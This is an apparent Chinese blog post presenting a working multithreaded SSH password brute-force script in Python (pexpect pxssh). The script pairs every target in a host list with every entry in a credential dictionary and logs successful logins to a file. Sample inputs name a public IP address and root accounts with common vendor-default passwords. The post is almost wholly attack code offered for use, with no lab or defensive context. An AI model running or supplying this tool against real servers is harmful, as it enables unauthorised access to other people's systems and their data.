Python3 SSH暴力破解脚本

IBM的两篇资料
探索 Pexpect,第 1 部分:剖析 Pexpect
探索 Pexpect,第 2 部分:Pexpect 的实例分析

代码:

import pexpect.pxssh as ps
from multiprocessing.dummy import Pool

# pexpect.pxssh.pxssh类扩展自pexpect.spawn类,专用于SSH连接的设置
# 文件名称
outPutFile = 'out.txt'
hostInput='HostList.txt'
passInput='PassList.txt'

def login(avrg):
    #avrg格式 {hostName:, port:, userName:, passWord:}

    s = ps.pxssh()
    hostName=avrg['hostName']
    port=avrg['port']
    userName=avrg['userName']
    passWord=avrg['passWord']

    try:

        s.login(hostName,userName,passWord,port=port,login_timeout=20)
        s.sendline('pwd')
        s.prompt()#捕捉所有输出
        print(str(s.before,'utf-8'))
        s.logout()
        out = open(outPutFile, 'a+', encoding='utf-8')
        xxx=hostName+' '+port+' '+userName+' '+passWord
        print(xxx)
        out.write(xxx+'\n')
        out.close()
        s.close()
    except ps.ExceptionPxssh as e:
        print(e)
        s.close()

#导入字典
    #字典格式:
    #username password
def loadPassList(path):

    passList=[]
    with open(path,'r') as f:
        for eachlin in f.readlines():
            if eachlin !="":
                n=eachlin.split()
                pa=n[1]#password写在hou面
                un=n[0]#username写在前面
                x={'password':pa,'username':un}
                passList.append(x)

    return passList

#导入目标ip与port
    #格式:
    #ip port
def loadHostList(path):
    ipList=[]
    with open(path,'r') as f:
        for eachlin in f.readlines():
            if eachlin !="":
                x=eachlin.split()
                ip=x[0]
                port=x[1]
                ipPort={'ip':ip,'port':port}
                ipList.append(ipPort)

    return ipList

#多线程参数制造
#这个做法比较占内存...
def hostForPass(hostListPath,passListPath):

    #载入字典
    passlist=loadPassList(passListPath)
    hostlist=loadHostList(hostListPath)

    hostForPassList=[]
    #生成:{hostName: ,port: ,userName: ,passWord: }
    for hostNmae in hostlist:
        host=hostNmae['ip']
        port=hostNmae['port']
        for passWord in passlist:
            ps=passWord['password']
            un=passWord['username']
            x={'hostName':host,'port':port,'userName':un,'passWord':ps}
            hostForPassList.append(x)

    return hostForPassList
def main():

    #载入参数
    infoList=hostForPass(hostInput,passInput)
    #线程池
    tp=Pool(10)
    tp.map(login,infoList)
    tp.close()
    tp.join()

文件示例

HostList.txt

124.119.41.118 22
10.211.55.5 22

PassList.txt

root    Huawei123
root    Changeme123
root    123456!@#
root    abc123!@#

你可能感兴趣的:(Python3 SSH暴力破解脚本)